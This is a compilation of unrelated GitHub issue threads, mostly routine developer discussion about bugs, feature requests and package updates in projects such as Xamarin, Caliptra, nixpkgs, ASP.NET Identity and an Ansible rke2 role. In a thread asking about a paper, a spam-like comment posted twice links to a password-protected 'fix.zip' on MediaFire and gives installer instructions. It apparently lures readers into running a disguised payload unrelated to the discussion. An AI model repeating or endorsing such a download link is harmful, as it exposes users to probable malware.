Need geoevent services for sustainment

@abrowning80 @helyx-rterry @joebayles
We need to get geoevent services and valid service definitions with the exact name of the <_type> tag for geoevent definitions coming into the geomessage adapter. Any fields that don't match on the incoming definition will be dropped by the geomessage input connector.

Looking into this in the next 24 hrs.

@pHill5136, @joebayles, @jrweakland @abrowning80 @helyx-rterry
As I discussed with @abrowning80 today this is a nice to have, not a must have.
This is a major project that should have been planned properly and not just tried to shoe horn in at the last minute.
If you guys can do this, I hope you realize that you need to do it on multiple servers since the content has already been copied.
We will not be delaying the shutdown of the Servers on Thursday if this is not complete.

@abrowning80 @joebayles @jrweakland
The sustainment services are still up on https://afmieopsgep.esri.com:6143/geoevent/manager.
You can use this to model the sustainment services. The login pw are the same as elsewhere.
Note that you may have to point the output services to different feature services.

To my knowledge there are some of the Sustainment services running on afmiedev but certainly the primary service is missing. There is probably enough on there to get you through a short demo. The output services could be pointed at the new Sustainment Reporting service on NSEC - presuming that that there is no issue with adding NSEC portal as a registered server to amfiedevgep GEE? If you are going to use afmiedev you could also use the new input messages that point to the new geography as they use the same data model and schema as the original. I will  do what I can from this end today

*afmieopsgep  is the server I was referring to sorry!

This is being worked on at present and a working version should be available soon.

@pHill5136 This was for UC which has now passed so can be closed.  A new version of the dashboard is being worked on and should be available soon.


Add DebugGridHelper

I had this PR pending for a while!
Is a new helper based on MetroGridHelper https://jeffwilcox.blog/2011/10/metrogridhelper/
I thought that adding a couple more properties to the helper like the Grid Color, Margin, etc. It would be more interesting.

Very cool! Should we consider adding some form of to either enable colors or the grid or both? I believe with this addition you'd always get both right?

Ah no, scrap that.  Obviously you'd call it using debug:DebugGridHelper.IsDebug="true".

I'm wondering since this is focused on how Metro does its alignment how we could apply this to other design systems as well. E.g, the app I'm currently working on uses a unit of 4 as the grid multiple. However, if I were to make the unit size 4 it would generate little boxes with the same padding in the current solution.
I could change the solution a bit to support setting the margins in between:
static readonly int DebugGridItemSpacingX = 4;
static readonly int DebugGridItemSpacingY = 4;

for (int x = 0; x < max; x += DebugGridItemSpacingX)
{
    for (int y = 0; y < max; y += DebugGridItemSpacingY)
    {
        var rect = new BoxView
        {
            WidthRequest = DebugGridItemSize,
            HeightRequest = DebugGridItemSize,
            VerticalOptions = LayoutOptions.Start,
            HorizontalOptions = LayoutOptions.Start,
            Margin = new Thickness(x, y, 0, 0),
            Color = DebugGridColor
        };

        gridContent.Children.Add(rect);
    }
}

However, on this test device that would create a grid of 800 (height) / 4 (size) = 200x200 = 40.000 BoxView objects 😂 Obviously that's not very performant.

@jsuarezruiz Any comment on the above? ☺ Would still love to see if we can make something like it happen. Perhaps @depechie also has some ideas here 🤔

Mnn, we can add more BindableProperties to manage the BoxView objects size etc and leave a higher value by default.
With small BoxView size it will affect the performance very negatively, but considering that it will be used only during development for specific tests, it may not be a big problem. Another option is perhaps to draw a Canvas and the boxes with SkiaSharp.

Yeah, I tried but it affects performance in such a way that it's unusable. I have considered SkiaSharp too, but I'm also still not convinced taking a dependency on SkiaSharp is worth it for a package primarily used for simple debugging. When you go to production you probably won't want too much overhead to clean up after. If we end up going the Skia route I would hope we could somehow help users with that?

Never did any memory profiling on the different controls... so have no reference.
Something like Label with BackGroundColor would that be better than BoxView?
Anyway drawing a lot of controls will always be bad I guess :/

This is being worked on further in https://github.com/sthewissen/Xamarin.Forms.DebugRainbows/tree/debug-grid


JTAG IDCODE register reports manufacturer is Western Digital

When Caliptra JTAG is initialized OpenOcd reads the IDCODE and reports the device:
Info : JTAG tap: riscv.cpu tap/device found: 0x1000008b (mfg: 0x045 (Western Digital Technologies Inc), part: 0x0000, ver: 0x1)
The tie offs in caliptra_top.sv for jtag_id exactly match what the VEER tb_top.sv uses, and don't appear to be intentional. Is this how we want the JTAG to be reported? Should Caliptra set them differently? Should they be exposed to the outside world?
This doesn't have any functional impact.

@kgugala - I think we should fix this...I am not sure if this should be parameter for each company to put in theirs or we allocate one for Caliptra?

In my experience, only the top-level TAP controller should support the IDCODE instruction, as that is used to identify chips on a PCB. I don't think there's much value in using IDCODE to identify sub-modules within a chip, although 1149.1 doesn't forbit it.


feat: async await and upgrades Hapi to v18

BREAKING CHANGE: All api functions that took callbacks now return promises
Still uses pull-streams internally because if it ain't broke you shouldn't try to fix it.

Includes the changes from #7

@mkg20001 I don't know if that PR will ever get merged, it looks a bit like that module has been abandoned.
I've published a fork with the Hapi 18 PR as menoetius (keeping with the Greek mythology theme).
I'll remove it from this repo if the PR ever gets merged.

Ok, merging then

npm seems to hate me.
Is it because of missing 2fa?

I'm not sure - is it required for the package?  Do you have it enabled?

Unsure and no
That's why I'm confused

I think you can check if you log in to the npm website: https://docs.npmjs.com/requiring-2fa-for-package-publishing-and-settings-modification
Also, you should enable 2FA :wink:

I've enabled 2fa for my account and set it to authorization only.
Same error, no clue why.
Created a tarball using npm (in case any generated files are needed that aren't in the repo)
package.zip
@daviddias Could you try publishing this? (zip includes a tarball created by npm and a signature for that tarball)

FYI I am looking into some issues with this. There are internal usages of crypto that were not migrated from callbacks to async/await with the latest version bumps causing crypto handshakes to stall and fail.


eval error

I'm trying to create a raspberry pi new bootable, and faced with the following error using the default config.
Using U-Boot from previous build.
====================> Phase 301 <====================
Running:  OPTION= OPTIONDIR= BOARDDIR= board_default_create_image
eval: arithmetic expression: expecting primary: "([0-9][0-9]).$/\1/p'`-RPI-B-r263927.img / 1000000"
I hardcoded the name of the image, so it worked.

I've not heard any other reports, so I suspect this was fixed at some point.
If you see it again, please open another issue and I'll take another look.


Highlight the words/phrases the model weighted heavily for a particular label in the titles and abstracts in the search.

https://github.com/cdpierse/transformers-interpret
https://captum.ai/tutorials/IMDB_TorchText_Interpret

@bruffridge Can I transfer this issue to the highlight-words repository?

Yes


CMake variable for all features

Hi @ras0219-msft !
While continuing work on the corrade/magnum/magnum-plugins/... portfiles I noticed a cmake variable for all declared features from the CONTROL file would be very useful in the portfile.cmake (instead of manually specifying the list there).
Would you consider such a variable? I currently named it  ALL_FEATURES to be consistent with FEATURES.
Cheers, Jonathan.

Thanks for the suggestion! Could you detail out the use cases to make it clearer?

Here I need to go over every feature and turn on or off appropriate cmake flags depending on whether they are in FEATURES or not.

Awesome, lgtm! Thanks for the explanation!

Awesome, thanks! 👍


Transparent wrapper for elements

Is there something similar to <x:frag /> (as in HackLang) in FlowType? <x:frag /> is a transparent wrapper when you dont have a wrapper for elements.
<x:frag>
  Home
  Log In
</x:frag>

will be rendered into:
Home
Log In

This is actually more of a React question, but I can answer it for them. No, currently a React component needs to return a single element. However, the team is looking to remove that restriction in the future. There is no timeline for that work, but it's discussed in depth on the React GitHub issues.

Thanks


Allow specifying field separator for CSV/TXT imports

I have CSV files using | as separator, but cartodb importer doesn't ask me anything about that and always assumes comma as a separator (even if the file is renamed to .txt, for example).
It would be useful to be able to specify more about interpretation of uploads (like when opening a txt file in a spreadshit, for example)

Adding here a reference to the code for myself:
https://github.com/CartoDB/cartodb/blob/119a277c366e5054a8802307ac36eb67d4b12433/services/importer/lib/importer/csv_normalizer.rb#L17

Well, technically the commit does not allow to specify a field separator. But yes, it fixes my specific case.


Paper

Hi ，do you have any papers? I searched the name “EinsPT: Efficient Instance-Aware Pre-Training of Vision Foundation Models” and didn't find any.
@feufhd

Thank you for your attention! I'm submitting a journal paper, and it's under review.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Website: Dev Test the Browse and Filter Pages

QA, please conduct a dev test of the new browse/filter pages on the website.  These are available at https://ox-dev.colorado.edu/en/simulations/browse and https://ox-dev.colorado.edu/en/simulations/filter.
Some things to verify:

Layouts should be responsive and polished across all supported browsers/devices.
Layouts should still look correct in other locales (not all strings are translated yet), including RTL locales.
The new pages should be accessible with mouse, touch, keyboard navigation, and screen readers.
Please do some cursory regression testing for the front page, the registration page, and the edit profile page.
Check that sorting and filtering behave correctly.
Verify that the hover tooltips are working correctly in all contexts.
Verify that the simulation tiles are linking to the correct places.

Please open new issues in https://github.com/phetsims/website-meteor/issues and assign @chrisklus and @mattpen and add them to the Website: Browse/Filter Pages project.

@KatieWoe - please don't start on this quite yet.  It will be ready soon!

Also to test:

If a user selects a locale on the filter page that does not match the website locale, clicking on a sim tile should take the user to the sim page with the Translations dropdown open.
Verify that normal locale fallbacks are continuing to work as expected (example: es_MX>es>en) on sim launches.

@ariel-phet - please assign priority.
@KatieWoe - This dev test is ready to go!

Next priority after #499

[ ] Win 10 Chrome
[ ] Win 10 Firefox
[ ] Win 10 Edge [ ]
[ ] Win 10 IE
[ ] Mac Chrome
[ ] Mac Safari
[ ] ChromeOS
[ ] iPad Safari

QA is done. More testing may be needed as fixes are done. If so, let us know @mattpen


CEF Support.

Hi, this is not really an issue. I'm asking more out of curiosity than necessity, as GHCJS is working fine.
I was looking through this project which seems to have successfully created bindings for the Chromium Embedded Framework:
Haskell CEF3 bindings
What would take to tie Reflex-Dom to this?

I think this would be a pretty straightforward project.  It looks like CEF provides very similar capabilities to webkitgtk, so it would basically be a matter of making sure all the names and types line up.  ghcjs-dom is already spanning both ghcjs and webkitgtk, so adding another similar backend would probably not be too hard.

@BethAr is this something you're working towards? Do you need any help with this?

@ali-abrar I didn't had the time to look into it at all.
My problem with webkitGTK at the time was that I had to do a prototype for Windows, and there are no binaries for it available, so I used a bespoke Qt browser and served the GHCJS output directly.
The bindings above also don't work for Windows according to the author, but I didn't check. In theory, CEF should be a better platform overall - at least the binaries are readily available: https://cefbuilds.com/

I'm going to close this issue, but please feel free to reach out to me if you'd like to discuss this more.


ocamlPackages.ocamlnet: 4.1.6 -> 4.1.7

Semi-automatic update generated by https://github.com/ryantm/nixpkgs-update tools. This update was made based on information from https://repology.org/metapackage/ocaml4.07.1-ocamlnet/versions.
meta.description for ocamlPackages.ocamlnet is: "A library implementing Internet protocols (http, cgi, email, etc.) for OCaml"
meta.homepage for ocamlPackages.ocamlnet is: "http://projects.camlcity.org/projects/ocamlnet.html"

Quoted meta.homepage for RFC 45

Checks done (click to expand)

built on NixOS

Warning: a test defined in passthru.tests did not pass

0 of 0 passed binary check by having a zero exit code.

0 of 0 passed binary check by having the new version present in output.

found 4.1.7 with grep in /nix/store/9pff33vr6y4djrws9k36wh8dlsyyfqc4-ocaml4.07.1-ocamlnet-4.1.7

directory tree listing: https://gist.github.com/6b18490c13e6e36296b8facfb821b093

du listing: https://gist.github.com/d6ae9c59f7c1159c1ec7c2f66545ea95

Rebuild report (if merged into master) (click to expand)

3 total rebuild path(s)
1 package rebuild(s)
1 x86_64-linux rebuild(s)
1 i686-linux rebuild(s)
0 x86_64-darwin rebuild(s)
1 aarch64-linux rebuild(s)
First fifty rebuilds by attrpath
google-drive-ocamlfuse

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/9pff33vr6y4djrws9k36wh8dlsyyfqc4-ocaml4.07.1-ocamlnet-4.1.7 \
  --option binary-caches 'https://cache.nixos.org/ https://r-ryantm.cachix.org/' \
  --option trusted-public-keys '
  r-ryantm.cachix.org-1:gkUbLkouDAyvBdpBX0JOdIiD2/DP1ldF3Z3Y6Gqcc4c=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(r-ryantm's Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A ocamlPackages.ocamlnet https://github.com/r-ryantm/nixpkgs/archive/ebd4ccc122f1bc1c0700e21835b0d50e49f098bf.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/9pff33vr6y4djrws9k36wh8dlsyyfqc4-ocaml4.07.1-ocamlnet-4.1.7
ls -la /nix/store/9pff33vr6y4djrws9k36wh8dlsyyfqc4-ocaml4.07.1-ocamlnet-4.1.7/bin

cc @maggesi for testing.

@GrahamcOfBorg build ocamlPackges.eliom ocamlPackages.parany

This broke ocaml-ng.ocamlPackages_4_01_0.ocamlnet. Please fix it or document it.

Sorry about that, it should be addressed by https://github.com/NixOS/nixpkgs/pull/81508


Test master branch with scorecard

Scoreboard

Oops. I accidentally raised PR against upstream. Closing this one.


docs(chips): remove outdated note about chips being in-progress.

Duplicate of https://github.com/angular/material2/pull/8118 (?) :D


AddRoles does not correctly add EntityFrameworkCore.RoleStore for non-string keys

The following code:
services.AddIdentityCore<IdentityUser<Guid>>()
        .AddRoles<IdentityRole<Guid>>()
        .AddEntityFrameworkStores<ApplicationDbContext>();

(some time later)

serviceProvider.GetRequiredService<RoleManager<IdentityRole<Guid>>>();

Results in the exception:
Exception has occurred: CLR/System.AggregateException
An unhandled exception of type 'System.AggregateException' occurred in System.Private.CoreLib.dll: 'One or more errors occurred.'
 Inner exceptions found, see $exception in variables window for more details.
 Innermost exception 	 System.ArgumentException : Object of type 'Microsoft.AspNetCore.Identity.IdentityRole`1[System.Guid]' cannot be converted to type 'Microsoft.AspNetCore.Identity.IRoleStore`1[Microsoft.AspNetCore.Identity.IdentityRole`1[System.Guid]]'.

If you explicit add a RoleStore<IdentityRole<Guid>> the issue is resolved.
using Microsoft.AspNetCore.Identity.EntityFrameworkCore;
...
services.AddScoped<IRoleStore<IdentityRole<Guid>>, RoleStore<IdentityRole<Guid>, ApplicationDbContext, Guid>>();

This is probably because the classes
public class RoleStore<TRole> : RoleStore<TRole, DbContext, string>

(and)

public class RoleStore<TRole, TContext> : RoleStore<TRole, TContext, string>

in RoleStore.cs require a the key to be a string.

Did you change ApplicationDbContext to reflect the guid key?
https://github.com/aspnet/Identity/blob/dev/test/EF.Test/SqlStoreTestBase.cs#L63

Yes

Can you include your full startup.cs and db context?

Here's an example:
using System;
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.Identity;
using Microsoft.AspNetCore.Identity.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore;
using Microsoft.Extensions.DependencyInjection;

namespace issues_1798
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Test().Run();
        }

        public static IWebHost BuildWebHost(string[] args) =>
            WebHost.CreateDefaultBuilder(args)
                .UseStartup<Startup>()
                .Build();
    }

    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddDbContext<ApplicationDbContext>(options =>
                options.UseInMemoryDatabase(Guid.NewGuid().ToString()));

            services.AddIdentityCore<IdentityUser<Guid>>(options => {})
                    .AddRoles<IdentityRole<Guid>>()
                    .AddEntityFrameworkStores<ApplicationDbContext>();

            //you can add the IRoleStore manually but it doesn't seem to be added by .AddRoles() above
            //services.AddScoped<IRoleStore<IdentityRole<Guid>>, RoleStore<IdentityRole<Guid>, ApplicationDbContext, Guid>>();
        }

        public void Configure(IApplicationBuilder app, IHostingEnvironment env)
        {
        }
    }

    static class HostExtention {
        public static IWebHost Test(this IWebHost host)
        {
            using (var scope = host.Services.CreateScope())
            {
                var roleManager = scope.ServiceProvider.GetRequiredService<RoleManager<IdentityRole<Guid>>>();
            }
            return host;
        }
    }

    class ApplicationDbContext : IdentityDbContext<IdentityUser<Guid>, IdentityRole<Guid>, Guid>
    {
        public ApplicationDbContext(DbContextOptions<ApplicationDbContext> options)
            : base(options)
        {
        }
    }
}

What version of ASP.NET Core are you trying this on?

Mostly just interested in what version of the identity packages are in your csproj?

I'll add a test in 2.1 to make sure this is covered before closing the bug

Thanks.
On Mon, 21 May 2018 at 14:26, Hao Kung<EMAIL_ADDRESS>wrote:

I'll add a test in 2.1 to make sure this is covered before closing the bug
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/aspnet/Identity/issues/1798#issuecomment-390575171,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AFC5wveF-auSyF75pKE4yARq3y7mnJ_wks5t0mwTgaJpZM4UGCpC
.

This is the code that appears to work fine in 2.1:
            var services = new ServiceCollection();
            services.AddLogging()
                .AddSingleton(new TestDbContext(new DbContextOptionsBuilder<TestDbContext>().Options));
            // This used to throw
            var builder = services.AddIdentity<IdentityUser<Guid>, IdentityRole<Guid>>().AddEntityFrameworkStores<TestDbContext>();

            var sp = services.BuildServiceProvider();
            using (var csope = sp.CreateScope())
            {
                Assert.NotNull(sp.GetRequiredService<UserManager<IdentityUser<Guid>>>());
                Assert.NotNull(sp.GetRequiredService<RoleManager<IdentityRole<Guid>>>());
            }

I'll add it to the tests to make sure we don't ever regress this just in case


Serverless support

Hi, really want to deploy this project on Cloudflare Workers^1/Pages^2, but I found it's marked as not planned in #74, any reason for that?

Glad that you bring this up. It's only because I'm using docker myself anyways, so I prioritized my time elsewhere.
But I can try with cloudflare. I'm using some cloudflare products as well.

It's now supported using Cloudflare Pages and Pages Functions. You can run make cloudflare to deploy, which will 1) build the frontend, 2) copy dist folder into cloudflare/dist, 3) deploy using wrangler.


gotta add form-control to make datepickers nice

class="form-controlreact-date-picker__wrapper" Need a space separator

ha oops


Issues with v8.x Unifi Network Controller software

Is anyone else having issues since upgrading to v8.x?
None of my dashboards work anymore, I have had time to dig into the panels and queries and see what exactly is broken.

Closing and continuing discussion in #651

Issue ended up being some sort of a failed conversion.
Redefining the Site variable using the below query ended up solving the issue for me.
SHOW TAG VALUES FROM "clients" WITH KEY = "site_name"  WHERE source =~ /^$Controller$/


E Adds CI and NPM badge and update CI pipeline name

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.1 out of 2 committers have signed the CLA.:white_check_mark: dreamora:x: jwlokaYou have signed the CLA already but the status is still pending? Let us recheck it.


BUG: font style is different in login header

Is there an existing issue for this?

[X] I have searched the existing issues

What happened?
font style is different in login header

Record

[X] I agree to follow this project's Code of Conduct
[X] I'm a GSSOC'24 contributor
[X] I want to work on this issue

Assigned!
Make sure to attach before & after screenshots in your PR. Also, star the repo before working on it. While creating your PR, ensure you pull all existing changes beforehand to avoid conflicts.
Happy open-source contributing!


Add main menu 'search morpheme'

The main menu item "Signs" should receive an additional entry "Search morphemes".
This should initially lead to the ListView of the morphemes: /morphemes/dictionary/
Searching through the morphemes is then an option within the ListView.

@ocrasborn : This has been added by @Woseseltops , so the issue could be closed now?


feat: Add kernel2kernel diagram

Signed-off-by: Denis Tingaikin<EMAIL_ADDRESS>Description
This PR adds a diagram to demonstrate how NSM does connection for kernel2kernel scenario.

Preview: https://github.com/networkservicemesh/deployments-k8s/blob/6f6835ebfc96bdf103b56eb205e0174f110561e9/examples/use-cases/Kernel2Kernel/README.md
@edwarnicke , @glazychev-art , @nickolaev, @NikitaSkrynnik , @fkautz , @ljkiraly , @LionelJouin Could you have a look if you have a time?

@denis-tingaikin could you export it in a format we could zoom in, like in SVG. And could you make the green text a bit more darker so it would be more readable


Crash

@anhmuonnoi Please fill the issue template regarding platform, iOS version, library version and some detail about the issue.

Seems like a OOM issue. The device is out of memory and cause malloc failed. There is no ways to solve this case and just let the application exit. You can try to profile and reduce the memory usage for your application.


should add pip install 'httpx[http2]'

Hi,
Cool tool.
If you try to run it with Python 3.9 than you'll get error such as
ImportError: Using http2=True, but the 'h2' package is not installed. Make sure to install httpx using pip install httpx[http2].
pip install 'httpx[http2]' solve it.
Cheers

Hi @thefisherman2103
Thanks you for trying it out, and for the info! I have added it to the requirements.txt. And add a note on the readme.
Thanks again Cheers!


Stopped showing Pokémon

It worked perfectly until yesterday. Since yersterday it doesn't show Pokémon, even though it's on "operational" and It's scanning areas. (I'm sure there are Pokémon because I'm playing)

I'm pretty sure, that is an IP Ban. Got several times IP banned since yesterday with my ~80 workers. Will try with just 60 workers today.

log into your scanner acct and solve the captcha then it should work fine again

@vgcf Could you explain me with more detail how to do that?

on your phone
On Nov 17, 2016 3:13 PM, "OliverAlmonte"<EMAIL_ADDRESS>wrote:

@vgcf https://github.com/vgcf Could you explain me with more detail how
to do that?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/mchristopher/PokemonGo-DesktopMap/issues/1335#issuecomment-261371248,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AWcVXjfy3_M_Mm-9XT4DFxwdxROYO7Apks5q_MOPgaJpZM4K1vkd
.


Script Error on Line 8

jgclark's ruby script is installed and confirmed to be working correctly. When I run this command:
bash bg2obs.sh -v LEB -beacyi

I get this return:
bg2obs.sh: line 8: syntax error near unexpected token `newline'
bg2obs.sh: line 8: `<!DOCTYPE html>'

I am not skilled in scripting and don't know for sure exactly how to fix this. Any help would be appreciated.

Error was on my part. Sorry for the trouble. Novice over here. I think I got it working. Thank you for the hard work on your part!


Official JavaScript Pachyderm Client

We've had a number of people wanting to build dashboards on top of Pachyderm, and we have a browser-usable JS client wrapped up in the dashboard. It would be good to split this client out into a standalone repo that could be directly consumed as a dependency, with it's own CI and automated building of Pach's protobufs. Ideally this package would also work from Node, but there's probably some added complications there around how to handle switching out the use of a websocket proxy (since a node client could just connect directly over GRPC, proxy-free)
Specific TODOs (from the Ruby client delivery):
1) Integration Work
When supporting a client, we have a handful of requirements to ensure code quality / maintainability.

[ ] Update the proto build process to consume the protos directly from the Pachyderm repo at a release version
[ ] Use our standardized proto build approach (within a docker container) for reproducible code emitted from the proto/grpc definitions
[ ] Stand up CI for all work on the client
[ ] Use meta programming tricks to make the client easier to use. This guarantees 100% API coverage, and resilience to API changes

2) Usage

[ ] Create the repository and examples of basic usage
[ ] Create tests for examples of different call patterns. In particular streaming calls, e.g. getFile and putFile
[ ] how to use auth tokens via the client

3) Installation

[ ] push to NPM to enable npm install pachyderm
[ ] Ensure the version is aligned with the Pachyderm API version (so <IP_ADDRESS> of the package is built against Pachyderm 1.7.3)

Similar to the Ruby client, we should ideally figure out a process to have full coverage of all APIs (pfs, pps, auth, etc) and wrap that under a single client (for convenience and so that auth session data gets used without having to specify it each time).
For client-side we'll also need to figure out how we communicate the usage of the grpc websocket proxy

Any update on this?

Hey @theomessin work has started on a node client over at node-pachyderm. It's still in the beginning stages but feel free to check it out.


Adding postgres instructions to readme

What is the context of this PR?
If postgres isn't install when running pip install -r requirements.txt you will see
Collecting psycopg2==2.6.1 (from -r requirements.txt (line 203))
Using cached psycopg2-2.6.1.tar.gz
Complete output from command python setup.py egg_info:
running egg_info
creating pip-egg-info/psycopg2.egg-info
writing top-level names to pip-egg-info/psycopg2.egg-info/top_level.txt
writing dependency_links to pip-egg-info/psycopg2.egg-info/dependency_links.txt
writing pip-egg-info/psycopg2.egg-info/PKG-INFO
writing manifest file 'pip-egg-info/psycopg2.egg-info/SOURCES.txt'
warning: manifest_maker: standard file '-c' not found
Error: pg_config executable not found.
How to review
Validate build instructions are correct

I guess ideally we would be able to use docker all the time here but we haven't got any debugging capability in the set up yet

Might also be good to add a mention on our java dependency for running tests.

Going to review psycopg2 as a dependency to check why we need to install external dependencies. Is it require if we use SQLAlchemy etc


Disabling cycling for the Handfree drawing shortcut

I'm using a streamdeck with ppInk.
I have assigned the following buttons:

Rectangle (R)
Handfree tool (H)
Eraser (E)
Clear All (X)

I've came into a situation, where the H shortcut is sometimes pressed twice accidentally, and that activates the other hand free tools which I don't need at all.
Is there a way to disable the extra functions within the H shortcut ? It would be better activating those within the toolbar instead of pressing H to cycle between them

as a quick solution, I would propose you to do first Select another tool : for rectangle, set your button to send H then R : this should do the job.
Waiting for your feedback

Is it ok with my proposal?

Sorry for my delay, I'm stuck in trying to make this work with the streamdeck
I'm not able to set up this workflow in StreamDeck in conjunction with the Super Macro Toggle plugin.
I have assigned a button to toggle between the numbers  1 and 2, to cycle between the colors. If I use this toggle in a text editor it will work fine. But with ppInk it won't work.
Do you have an access to a streamdeck ? OR the free app (30-day trial) to test this ?

I've been able to get a streamdeck. Not so easy, will come back.
You are just planning to use one key or you have other ideas in mind ?

This is how im using it

Since I'm using a streamdeck mini, I'm using minimal buttons as possible, and keeping the less used functions in a folder

My problem happens when I use the super macro toggle to toggle between 1 and 2, it doesn't work

From my understanding of streamdesk, you should use VK_1
also, from my test I used successfully
{{keydown:VK_1}}{{keyup:VK_1}}
and set the timer to 250ms
tell me if it is better like that

Thanks that's much better. This is my current setup on streamdeck mini. It's working ok but there are room for improvements:

First of all here is how I set up the top buttons

The red button when pressed changes to a blue color, I have applied the following macros and enabled remember toggle state when switching profile on:
Primary Macro
{{keydown:VK_R}}{{keyup:VK_R}}
{{keydown:VK_H}}{{keyup:VK_H}}
{{keydown:VK_1}}{{keyup:VK_1}}

Secondary Macro
{{keydown:VK_R}}{{keyup:VK_R}}
{{keydown:VK_H}}{{keyup:VK_H}}
{{keydown:VK_3}}{{keyup:VK_3}}

The top right button, I'm using it to switch between the number tool and the rectangle tool, here I'm using the default hotkey switch without plugins, and switching between R and N, I'm also using a different image to highlight the icon and that gives me a visual cue to which tool is selected

Now my issues that I noticed are:

The switching between the colors is really slow, because its using macros, is there a way to improve here ?
Also say I'm on a red color and draw a bit, after that I select the rectangle tool, when I press back to the red button it changes color, I didn't find a way to preserve the same color

The switching between the colors is really slow, because its using macros, is there a way to improve here ?

The only ideas I have is to implement a full remote API. I have some ideas but it will take some time aspecially to be compatible with the streamdesk

Also say I'm on a red color and draw a bit, after that I select the rectangle tool, when I press back to the red button it changes color, I didn't find a way to preserve the same color

The point is that you are changing tool in both buttons... thinking about
Can you send the page export : It will be easier for me to work on

Would be cool to see a native plugin for Streamdeck, now that would be amazing.
Sure, here is the page export:
ppInk.txt
You have to rename it to *.streamDeckProfile

With the current configuration, the red/blue button switches colors but is not changing pen, as if you were using the keyboard
I did an error  about the pointer mode in the desk this one should work better
ppInk2.StreamDeckProfile.txt

@CoinAxe
Have you been able to test the provided beta version ?
I've completed the REST API implementation. have a look at the RTF for the different URLs.
In this version, I have introduced an option to set the pens on two lines. This can be disable in Options
ppInk64_16a.zip

Sorry I was a bit busy didn't have time to check it out. I was wondering does the current implementation allow for switching between pen and other tool while keeping the last selected color ?

So I'm trying to switch between 1 and 2, 1 would give me the pen tool, when pressed again it will change to a blue color. When going to 2 I wish to retain the same color, and then when im back to 1 I also wish to keep the same color. Do you get my point on this ? Is this currently supported in the implementation ?

1 is currently programmed to only switch color, and 2 will switch tool. It should be good for you

@CoinAxe
Any update ?

@CoinAxe,
the version for REST API is released. is it ok for you ?

change published. @CoinAxe, feel free to open a new issue if required


Coefficient of Friction

Hey @Srijita-Mandal, I have resolved issue #567 under JWOC. Kindly review

@ritika728 calculator page showing error. Add proper name with extension .html and connect files properly.

Yes, can i correct it in my next PR ? Within 10-15 minutes ? @Srijita-Mandal

Yes, can i correct it in my next PR ? Within 10-15 minutes ? @Srijita-Mandal

No. Either commit it in this PR or make a PR for this first. Then the next one.

Okay


[NT-1577] Argo dependency removed from models

📲 What
A description of the change.
🤔 Why
Some background context on why the change is needed.
✅ Acceptance criteria

[ ] Steps to test this feature

          1 Warning

:warning:
Big PR

SwiftFormat found issues:

File
Rules

Library/ArgoDecoded/Alternative.swift
indent

Library/ArgoDecoded/Applicative.swift
indent

Library/ArgoDecoded/Argo.swift
spaceAroundOperators

Library/ArgoDecoded/ArgoDecodable.swift
indent

Library/ArgoDecoded/DecodeError.swift
wrap

Library/ArgoDecoded/DecodeOperators.swift
hoistPatternLet, indent

Library/ArgoDecoded/Decoded.swift
indent

Library/ArgoDecoded/Dictionary.swift
typeSugar

Library/ArgoDecoded/FailureCoalescing.swift
indent

Library/ArgoDecoded/Functor.swift
indent

Library/ArgoDecoded/JSON.swift
blankLinesAtStartOfScope, emptyBraces, indent, todos

Library/ArgoDecoded/Monad.swift
indent

Library/ArgoDecoded/RawRepresentable.swift
indent

Library/ArgoDecoded/StandardTypes.swift
indent, wrap

Library/ArgoDecoded/catDecoded.swift
indent, typeSugar

Library/ArgoDecoded/decode.swift
indent, wrap

Library/ArgoDecoded/flatReduce.swift
indent, wrap, wrapArguments

Library/ArgoDecoded/sequence.swift
indent, typeSugar

  Generated by :no_entry_sign: Danger


Create launch.openshift.io add-on

Moved from https://github.com/minishift/minishift/issues/1000
As discussed in the devtools-program mailing list, it would be nice to have the Openshift template used in launch.openshift.io as part of the Minishift/CDK catalog

This can be closed as https://github.com/minishift/minishift-addons/tree/master/add-ons/fabric8-launcher already exists
Duplicate of #75


context.theme.key, getDeclaredMethod will always throw if we target SDK 32

If we target SDK32 the Resources.Theme::class.java.getDeclaredMethod("getKey") will always throw so we can't use this method for re-compositions optimizations for createMdcTheme()

Thanks for raising this. Unfortunately SDK 32 has changed Resources.Theme.getKey to a hidden method, so the current reflection implementation can't work. I'll think about this some more but perhaps the fallback of just using the theme directly as a key is fine.

Is this still a problem? Sounds like something which needs adressing, especially since we're at API 33 as a stable release already.


bug: rke2 config.yaml for server taint

Summary
Setting server taint leads to a broken config.yaml. At least for me the task
- name: Set server taints
  ansible.builtin.set_fact:
    combined_node_taints: "{{ node_taints}} + [ 'CriticalAddonsOnly=true:NoExecute' ] "
  when: rke2_server_taint and rke2_type == 'server'

leads to a broken list in the config.yaml, as the combined_node_taints variable ist treated as string instead of list.
The template line in question:
{% for taint in combined_node_taints %}
  - {{ taint }}

The correct syntax should be:
- name: Set server taints
  ansible.builtin.set_fact:
    combined_node_taints: "{{ node_taints + [ 'CriticalAddonsOnly=true:NoExecute' ] }}"
  when: rke2_server_taint and rke2_type == 'server'

Both in the task tasks/first_server.yml and vim tasks/remaining_nodes.yml
I do not understand why this seems to be only a problem for me?
Issue Type
Bug Report
Ansible Version
ansible [core 2.13.1]
  config file = None
  configured module search path = ['/home/user/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']
  ansible python module location = /home/user/.local/lib/python3.9/site-packages/ansible
